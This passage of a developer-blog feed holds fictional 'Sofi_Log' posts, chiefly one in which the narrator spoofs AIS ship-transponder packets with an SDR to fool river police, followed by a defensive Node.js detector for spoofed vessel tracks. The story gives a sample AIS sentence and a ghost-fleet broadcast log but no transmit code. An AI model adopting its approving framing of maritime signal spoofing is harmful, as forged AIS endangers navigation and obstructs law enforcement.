&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;asyncio&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;KeyboardInterrupt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;[*] Monitoring terminated by operator.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. The Black Pouch and the Alleyway Stealth Run
&lt;/h2&gt;

&lt;p&gt;“Double-fold seams sealed, conductive Velcro fully pressed.”&lt;/p&gt;

&lt;p&gt;I slid our phones and keys into the nickel-copper ripstop pouch I’d stitched together. On the scanner they simply vanished—gone below the -105 dBm noise floor. Total electronic death.&lt;/p&gt;

&lt;p&gt;“Perfect. Their sniffers won’t even see our shadows now.”&lt;br&gt;&lt;br&gt;
Darling peered through a shutter gap and nodded.&lt;/p&gt;

&lt;p&gt;“But the modules are still live on every corridor. We thread the null zones while the scanner paints the map.”&lt;/p&gt;

&lt;p&gt;I moved through the dim passages with the ESP32 OLED in hand, skirting the strongest 2.4 GHz pulses, hugging power panels and duct shadows. Cool underground air turned humid. We reached the iron service gate. Beyond it: wet back-alley asphalt.&lt;/p&gt;

&lt;p&gt;Key in the Ducati’s ignition. The big V-twin barked awake.&lt;/p&gt;

&lt;p&gt;“Grab on, Sofi!”&lt;br&gt;&lt;br&gt;
“Punch it, darling!”&lt;/p&gt;

&lt;p&gt;We vanished into Bangkok’s rainy night with zero radio tail.&lt;/p&gt;




&lt;p&gt;🔗 &lt;strong&gt;Read Next (Previous Sofi_Log):&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
『Midnight Chao Phraya River Blockade Run: AIS Packet Spoofing with SDR &amp;amp; Ghost Track Generation｜Sofi_Log #076』&lt;br&gt;&lt;br&gt;
👉 &lt;a href="https://note.com/legal_rat2977/n/n334fc7f74213" rel="noopener noreferrer"&gt;https://note.com/legal_rat2977/n/n334fc7f74213&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  【Disclaimer】
&lt;/h3&gt;

&lt;p&gt;The code, shielding techniques, and protocol explanations in this post are provided strictly for privacy protection research, security studies, proof-of-concept work, and educational purposes. Obey all local radio regulations and test only on hardware you own.&lt;/p&gt;




&lt;h3&gt;
  
  
  🎁 【Full Open Source】Live Code &amp;amp; Architecture
&lt;/h3&gt;

&lt;p&gt;The BLE scanner and shielding validation script shown above is released in full for your own security and privacy experiments.&lt;/p&gt;




&lt;h3&gt;
  
  
  📬 Sofi’s Mailbox #077 (Questions &amp;amp; Feedback)
&lt;/h3&gt;

&lt;p&gt;So, darlings—how was the underground radio-net escape?&lt;br&gt;&lt;br&gt;
Ever stopped to think how much signal your phone and earbuds are constantly leaking? Got questions about verifying a commercial Faraday pouch or why randomized MACs still get tracked? Drop your thoughts and experiments in the comments. Sofi and darling will answer you directly in the next log.&lt;/p&gt;




&lt;h3&gt;
  
  
  Disclaimer
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;This article is for educational and entertainment purposes only. It does NOT constitute financial, legal, or tax advice. The regulatory landscape of Web3, smart contracts, and AI agent autonomous systems is highly volatile and complex. Always perform your own research (DYOR) and consult with certified professionals before executing any strategies described herein.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>nomad</category>
      <category>web3</category>
      <category>security</category>
      <category>solana</category>
    </item>
    <item>
      <title>『深夜のチャオプラヤー川、水上封鎖線を突破する「AIS無線パケット偽装」：SDRと海上トランスポンダ・ゴースト航跡生成自作仕様書』 Sofi_Log #076【1話完結】</title>
      <dc:creator>sofi works</dc:creator>
      <pubDate>Tue, 06 Oct 2026 03:14:55 +0000</pubDate>
      <link>https://dev.to/sofi_works_2a97535d1a93dc/shen-ye-notiyaopurayachuan-shui-shang-feng-suo-xian-wotu-po-suruaiswu-xian-paketutowei-zhuang-sdrtohai-shang-toransupondagosutohang-ji-sheng-cheng-zi-zuo-shi-yang-shu-sofilog-0761hua-wan-jie--55c</link>
      <guid>https://dev.to/sofi_works_2a97535d1a93dc/shen-ye-notiyaopurayachuan-shui-shang-feng-suo-xian-wotu-po-suruaiswu-xian-paketutowei-zhuang-sdrtohai-shang-toransupondagosutohang-ji-sheng-cheng-zi-zuo-shi-yang-shu-sofilog-0761hua-wan-jie--55c</guid>
      <description>&lt;h1&gt;
  
  
  Midnight on the Chao Phraya: Breaking the Waterborne Blockade with "AIS Radio Packet Spoofing" — SDR &amp;amp; Custom Maritime Transponder Ghost-Track Generation Spec | Sofi_Log #076 [Complete One-Shot]
&lt;/h1&gt;




&lt;p&gt;The Automatic Identification System (AIS) keeps the world’s tankers, container ships, and river traffic moving. It blasts MMSI, lat/long, course, and speed over the open VHF pair (161.975 MHz / 162.025 MHz) hundreds of times a minute—plain-text, no encryption, no signature, no authentication. Legacy operating systems still pretend this is a trustworthy global standard. Cute.&lt;/p&gt;

&lt;p&gt;Last night we slipped the military-drone optical net in a back alley and dropped into the Chao Phraya. The river was already crawling with water-police interceptors and the coastal tower’s fused radar-AIS mesh. Our ride? A tired wooden long-tail with zero AIS. In that lockdown zone that’s basically a giant “Dark Vessel” flag. So we decided to paint the entire screen with ghosts instead.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. 00:40 under Rama VIII Bridge — Mud, Searchlights, and Interceptors
&lt;/h2&gt;

&lt;p&gt;The river was fat with upstream silt after the squall. The white pylon of the cable-stayed bridge glowed sodium-orange through the mist.&lt;/p&gt;

&lt;p&gt;“Two fast interceptors dead ahead,” darling muttered, eyes on the SDR waterfall.&lt;br&gt;&lt;br&gt;
“They’re slaved to the smart-port tower. Any vessel without a live AIS ping gets painted by thermal the second it appears.”&lt;/p&gt;

&lt;p&gt;Our boat had no transponder. In this stretch that was an instant red flag.&lt;br&gt;&lt;br&gt;
I rolled up the sleeve of my soaked flight jacket and jacked a 5 V/3 A line from the bio-ceramic arm’s aux cell into the HackRF.&lt;/p&gt;

&lt;p&gt;“If they only trust the pretty picture on their console, let’s give them a full-screen hallucination.”&lt;/p&gt;


&lt;h2&gt;
  
  
  2. AIS Protocol — Born Naked
&lt;/h2&gt;

&lt;p&gt;AIS was designed in the ’90s for collision avoidance, not security. The result is a beautiful open broadcast protocol with zero cryptographic primitives.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;No encryption, no auth — GMSK 9600 bps on VHF CH87B/CH88B, anyone can TX/RX.
&lt;/li&gt;
&lt;li&gt;MMSI is self-declared; you can be any ship you like.
&lt;/li&gt;
&lt;li&gt;NMEA 0183 sentences (&lt;code&gt;!AIVDM&lt;/code&gt;) are trivial to forge.
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[!AIVDM PACKET STRUCTURE]
!AIVDM,1,1,,A,13aEO:0P00000000000000000000,0*12
- Message Type 1: Scheduled Position Report
- MMSI: 244670000 (Target Identity)
- Speed Over Ground (SOG) / Course Over Ground (COG)
- Latitude / Longitude (1/10000 minute precision)
- Checksum: Simple XOR 8-bit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;“Set 161.975 MHz. Type 1 position reports plus Type 5 static data, multiplexed.”&lt;br&gt;&lt;br&gt;
“Copy. Two fully-laden sand barges heading downstream and one harbor-patrol ghost running upstream.”&lt;/p&gt;

&lt;p&gt;The diodes on my fingers pulsed blue. Weak VHF packets leapt from the whip antenna into the night.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[GHOST FLEET INJECTION IN PROGRESS]
[Decoy 1] MMSI: 567001420 | Name: SIAM_CARGO_09 | Speed: 6.2 kts (Downstream)
[Decoy 2] MMSI: 567001421 | Name: SIAM_CARGO_10 | Speed: 5.8 kts (Downstream)
[Decoy 3] MMSI: 567099001 | Name: HARBOR_PATROL_X | Speed: 18.5 kts (Upstream)
Status: Broadcast Active -&amp;gt; Coastal Marine Traffic Screen Flooded
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The police boats’ radios crackled. Their screens now showed a convincing convoy of heavy cargo south of the bridge and an unlogged patrol boat charging down from upstream. They spun and ran for the decoys.&lt;/p&gt;

&lt;p&gt;“Now, uncle—into the Bangkok Noi canal!”&lt;br&gt;&lt;br&gt;
The long-tail slipped into the black side channel and vanished.&lt;/p&gt;


&lt;h2&gt;
  
  
  3. Defending Smart Ports — Kinematic Audit Script
&lt;/h2&gt;

&lt;p&gt;When a few-thousand-baht SDR can paint phantom ships, the question stops being “can we spoof?” and becomes “can the receiver refuse to be lied to?”&lt;/p&gt;

&lt;p&gt;Three checks that actually work:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Kinematic plausibility (max accel, turn rate, teleport detection)
&lt;/li&gt;
&lt;li&gt;SOTDMA slot-consistency timing
&lt;/li&gt;
&lt;li&gt;RSSI vs. claimed distance correlation&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Here’s the live Node.js class.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="cm"&gt;/**
 * AISPacketDefender.js
 * 
 * 海上自動船舶識別（AIS）パケットの運動学的異常検知エンジン
 * SDRによるゴースト船舶インジェクションおよび位置偽装（Spoofing）を検出する。
 */&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;AISPacketDefender&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;config&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;maxVesselSpeedKnots&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;maxSpeed&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="mf"&gt;45.0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// 河川・沿岸船の最高速度上限 (ノット)&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;maxAccelerationKnotsPerSec&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;maxAccel&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="mf"&gt;1.5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// 最大許容加速度&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;vesselDatabase&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Map&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// MMSIごとの直前ステートキャッシュ&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="cm"&gt;/**
     * デコードされたAIS航行データを監査
     * @param {Object} report - { mmsi, lat, lon, speedKnots, course, timestamp, rssi }
     * @returns {Object} 判定結果
     */&lt;/span&gt;
    &lt;span class="nf"&gt;auditReport&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;report&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;mmsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;lat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;lon&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;speedKnots&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;rssi&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;report&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;nowSec&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;1000.0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;vesselDatabase&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;has&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;mmsi&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="c1"&gt;// 初回観測：基本しきい値チェックのみ&lt;/span&gt;
            &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;isAbnormalSpeed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;speedKnots&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;maxVesselSpeedKnots&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;vesselDatabase&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;mmsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;lat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;lon&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;speedKnots&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;lastSeen&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;nowSec&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;rssi&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nx"&gt;mmsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;isAbnormalSpeed&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;SUSPICIOUS_INITIAL_SPEED&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;NEW_TRACK&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="na"&gt;valid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;isAbnormalSpeed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="na"&gt;reason&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;isAbnormalSpeed&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="s2"&gt;`Exceeds max realistic speed: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;speedKnots&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; kts`&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Track initiated&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
            &lt;span class="p"&gt;};&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;prev&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;vesselDatabase&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;mmsi&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;dt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;nowSec&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;prev&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;lastSeen&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dt&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;mmsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;REJECTED_TIMESTAMP_ANOMALY&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;valid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;reason&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Duplicate or reversed timestamp&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="c1"&gt;// 1. 2点間の距離計算 (Haversine formula による概算: km)&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;distanceKm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;calculateDistanceKm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;prev&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;lat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;prev&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;lon&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;lat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;lon&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;calculatedSpeedKnots&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;distanceKm&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dt&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;3600.0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;0.539957&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// km/h -&amp;gt; knots&lt;/span&gt;

        &lt;span class="c1"&gt;// 2. 加速度の計算 (ノット/秒)&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;accel&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;abs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;speedKnots&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;prev&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;speedKnots&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nx"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;anomalyDetected&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;reasons&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;

        &lt;span class="c1"&gt;// 監査チェック1: 物理的に不可能な移動速度（テレポート判定）&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;calculatedSpeedKnots&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;maxVesselSpeedKnots&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nx"&gt;anomalyDetected&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="nx"&gt;reasons&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`TELEPORTATION_DETECTED (Effective speed: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;calculatedSpeedKnots&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toFixed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt; kts)`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="c1"&gt;// 監査チェック2: 異常な急加減速（物理法則違反）&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;accel&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;maxAccelerationKnotsPerSec&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nx"&gt;anomalyDetected&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="nx"&gt;reasons&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`KINEMATIC_VIOLATION (Accel: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;accel&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toFixed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt; kts/s)`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="c1"&gt;// 監査チェック3: 電波強度（RSSI）の急激な乖離&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;rssi&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;prev&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;rssi&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
